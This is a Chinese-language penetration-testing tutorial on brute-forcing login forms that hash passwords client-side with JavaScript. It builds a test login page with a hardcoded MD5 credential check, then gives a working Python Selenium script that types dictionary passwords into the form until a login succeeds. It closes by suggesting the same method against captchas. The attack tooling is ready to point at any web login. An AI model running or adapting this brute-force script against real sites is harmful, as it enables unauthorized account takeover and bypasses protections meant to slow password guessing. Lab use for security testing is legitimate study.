0x00 前言
有时在暴破登录框时,密码字段被加密了,不知道加密算法的话对暴破的进行会产生障碍,下面有几种解决方法。
- 分析前端 js 加密脚本。了解加密过程后用编程语言重写,将密码本加密后进行暴破。
- 利用相应工具或模板执行该 js 文件,拿到输出结果(python自带execjs)
- 使用 python 的 selenium 库来模拟浏览器自动化点击,绕过加密和时间戳。
快速定位前端加密方法:https://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
0x01 Selenium基础
定位元素:
定位一个元素 | 定位多个元素 | 含义 |
---|---|---|
find_element_by_id | find_elements_by_id | 通过元素id定位 |
find_element_by_name | find_elements_by_name | 通过元素name定位 |
find_element_by_xpath | find_elements_by_xpath | 通过xpath表达式定位 |
find_element_by_link_text | find_elements_by_link_tex | 通过完整超链接定位 |
find_element_by_partial_link_text | find_elements_by_partial_link_text | 通过部分链接定位 |
find_element_by_tag_name | find_elements_by_tag_name | 通过标签定位 |
find_element_by_class_name | find_elements_by_class_name | 通过类名进行定位 |
find_elements_by_css_selector | find_elements_by_css_selector | 通过css选择器进行定位 |
webdriver模块常用方法:
方法 | 说明 |
---|---|
set_window_size() | 设置浏览器的大小 |
back() | 控制浏览器后退 |
forward() | 控制浏览器前进 |
refresh() | 刷新当前页面 |
clear() | 清除文本 |
send_keys (value) | 模拟按键输入 |
click() | 单击元素 |
submit() | 用于提交表单 |
get_attribute(name) | 获取元素属性值 |
is_displayed() | 设置该元素是否用户可见 |
size | 返回元素的尺寸 |
text | 获取元素的文本 |
参考链接:https://blog.csdn.net/weixin_36279318/article/details/79475388
0x02 模拟登录
因为是模拟点击,所以效率相对低一些。有的 js 加密结果有时间戳的影响,每次加密结果不一样,而使用Selenium模拟登录不会受其影响。
模拟环境:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.vuln.com/test/login.php/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.vuln.com/test/login.php">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>test</title>
<script src="md5.js"></script>
<script>
function md5passwd(){
passwd = document.getElementById("password").value;
document.getElementById("password").value = hex_md5(passwd);
return true;
}
</script>
</head>
<form action="login.php" method="post" onsubmit="return md5passwd()">
<table width="450" border="0" bgcolor="#000000" cellspacing="1" cellpadding="2"><!--cellspacing指相邻单元格之间的间距,cellpadding指控制单元格内部文字与边框的边距-->
<tbody>
<tr height="30">
<td colspan="2" align="center" bgcolor="#CCCCCC"><font size="5">login</font></td>
</tr>
<tr height="30">
<td width="150" align="right" bgcolor="#E6E6E6">username</td>
<td width="300" bgcolor="#E6E6E6">
<input type="text" name="username" id="username" maxlength="20" size="15" /></td>
</tr>
<tr height="30">
<td align="right" bgcolor="#E6E6E6">password</td>
<td bgcolor="#E6E6E6">
<input name="password" type="password" id="password" size="15" maxlength="20" value=""/></td>
</tr>
<tr height="30">
<td align="center" colspan="2" bgcolor="#CCCCCC">
<input type="submit" name="submit" id="submit" value="submit" />
</td>
</tr>
</form>
<?php
if( isset( $_POST[ 'username' ] ) ) {
$user = $_POST[ 'username' ];
$pass = $_POST[ 'password' ];
echo "username: ",$user;
echo "<br>";
echo "password: ",$pass;
echo "<br>";
if ($pass == "8a30ec6807f71bc69d096d8e4d501ade" and $user == "admin"){
echo "login successfully!";
}else{
echo "Login failed!";
}
}
?>
当用户输入的账户密码为:admin / admin666 时登录成功
源代码:
from selenium import webdriver
driver = r'C:\Program Files\Mozilla Firefox\geckodriver.exe'
browser_option = webdriver.FirefoxOptions()
def start_firefox():
browser = webdriver.Firefox(executable_path=driver, options=browser_option)
browser.start_client()
return browser
# url地址
browser = start_firefox()
browser.get("http://10.11.35.244/test/login.php")
def main():
# 打开字典
passwords = open("pass.txt", 'r', encoding='utf-8')
passwords.seek(0)
for password in passwords:
# 标签位置
user_name = browser.find_element_by_id('username')
user_pass = browser.find_element_by_id('password')
submit = browser.find_element_by_id("submit")
user_name.send_keys('admin')
user_pass.send_keys(password)
submit.click()
if 'failed' not in browser.page_source: # 根据页面返回特征判断
print('\n[+] 破解成功: ' + password)
break
if __name__ == '__main__':
main()
使用 selenium 不仅可以在不知道加密算法的时候暴破登录框,还可以在请求带有时间戳标记时暴破验证码,遇到了再补充吧。
参考链接:
https://segmentfault.com/a/1190000010179232(绕过前端加密进行爆破)
https://www.jianshu.com/p/b85f7d4f8c49(python模拟浏览器登录,绕过加密进行爆破)